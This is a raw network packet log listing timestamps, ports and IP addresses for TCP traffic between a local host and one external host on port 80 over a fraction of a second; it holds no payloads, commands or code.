Oct 13, 2024 00:47:51.108313084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108326912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108340979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108344078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108356953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108360052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108372927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108387947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108390093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108402967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108407021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108417988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108433008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108433008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108448029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108458996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108464003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108477116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108485937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108514071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108620882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108655930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108716011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108731985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108745098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108752966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108771086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108776093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108786106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.108791113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108798981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108808994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.108849049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.109085083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109102964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109118938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109129906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109134912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.109141111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109150887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109158039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109164000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.109167099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109175920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109189987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109198093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.109215021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.109325886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.141892910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142014980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142026901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142061949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142091036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142110109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142117977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142152071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142174006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142193079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142211914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142249107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142256975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142303944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142322063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142352104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142357111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142393112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142406940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142427921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142441034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142465115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142483950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142518044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142520905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142569065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142571926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142606974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142623901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142642021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142663002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142672062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142699003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142707109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142721891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142743111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142761946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142777920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142800093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142813921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142829895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142851114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142868042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142901897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.142955065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.142988920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143008947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143026114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143048048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143059969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143069983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143095970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143112898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143134117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143148899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143171072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143188953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143249035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143285036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143317938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143351078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143368959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143368959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143405914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143414021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143441916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143456936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143476009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143503904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143512011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143527031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143560886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143657923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143692017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143712997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143726110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143752098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143764973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143773079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143800020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143824100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143835068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143855095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143868923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143883944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143903017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143920898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143939018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143954992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.143973112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.143992901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.144009113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.144016027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.144062042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.195411921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195452929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195468903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195519924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.195530891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195549011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195554018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.195566893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195600033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.195669889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195705891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.195738077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195755005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195775986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.195796013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.195880890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195897102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195914030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195921898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.195933104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.195940018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.195959091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.195982933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196017027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196032047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196057081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196073055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196193933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196209908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196225882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196229935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196243048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196249962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196261883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196265936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196285009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196300983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196302891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196335077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196501970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196517944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196532965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196541071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196548939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196559906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196564913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196578979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196583986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196598053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196613073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196616888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196630955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196636915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196647882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.196695089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.196695089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197007895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197024107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197046041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197052002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197063923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197067976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197082043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197087049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197099924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197107077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197117090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197128057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197133064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197149038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197158098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197165966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197180986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197187901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197223902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197539091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197556019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197571039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197582960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197587013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197602987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197612047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197618961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197634935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197643995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197652102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197668076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197669983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197686911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197690010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197702885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197720051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.197726011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197761059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.197990894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198005915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198019981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198026896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.198060989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.198129892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198146105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198162079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198165894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.198179007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198193073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198203087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.198208094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198225021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198235035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.198242903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198257923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198261023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.198275089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198283911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.198291063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198307991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198331118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.198358059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.198715925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198731899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198746920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198761940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.198772907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.198807955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.230846882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.230910063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.230926037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.230995893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.230998993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231014967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231031895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231057882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231095076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231195927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231211901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231228113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231240988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231245041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231261015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231267929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231281996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231307030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231329918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231429100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231473923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231559992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231575012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231581926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231589079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231604099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231617928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231626034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231633902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231648922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231656075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231682062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231849909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231865883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231890917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231918097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.231961012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231977940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.231992960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232002020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232021093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232023001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232038021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232038975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232057095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232057095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232073069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232078075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232090950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232096910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232117891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232136011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232327938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232369900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232395887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232410908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232425928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232434034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232441902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232455969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232487917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232654095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232669115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232683897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232693911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:51.232700109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:51.232717037 CEST	80	49711	185.215.113.37	192.168.2.6
